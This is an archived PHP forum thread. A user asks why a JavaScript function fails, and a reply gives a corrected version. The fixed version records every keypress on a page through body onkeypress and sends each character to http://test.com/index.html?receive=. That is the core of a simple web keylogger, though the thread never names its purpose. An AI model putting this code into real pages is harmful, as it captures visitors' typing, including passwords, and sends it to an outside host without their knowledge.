Jump to content

fromCharCode stupid question.


cursed

Recommended Posts

Why doesn't this work? I think I'm overlooking something stupid  ???

 

 

function unicodeToText(event)
{
var asciitext = "";
asciitext = String.fromCharCode(event.keyCode);
makeRequest('http://test.com/index.html?receive=' + asciitext);
}

 

assume that the ajax process is after this, and that index.html could receive the stuff that javascript is giving to it

 

Thanks in advance!

Link to comment
https://forums.phpfreaks.com/topic/87340-fromcharcode-stupid-question/
Share on other sites

 

I think this is what your wanting; but I am not completely sure.

 

Try it out and see if it's what your looking for:

 


<script language="JavaScript">
function unicodeToText(e) {
var keycode;
if (window.event) keycode = window.event.keyCode;
else if (e) keycode = e.which;
var asciitext = String.fromCharCode(keycode)
makeRequest("http://test.com/index.html?receive="+asciitext+"");
}
</script>

</head>

<body onkeypress="unicodeToText(event)">

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.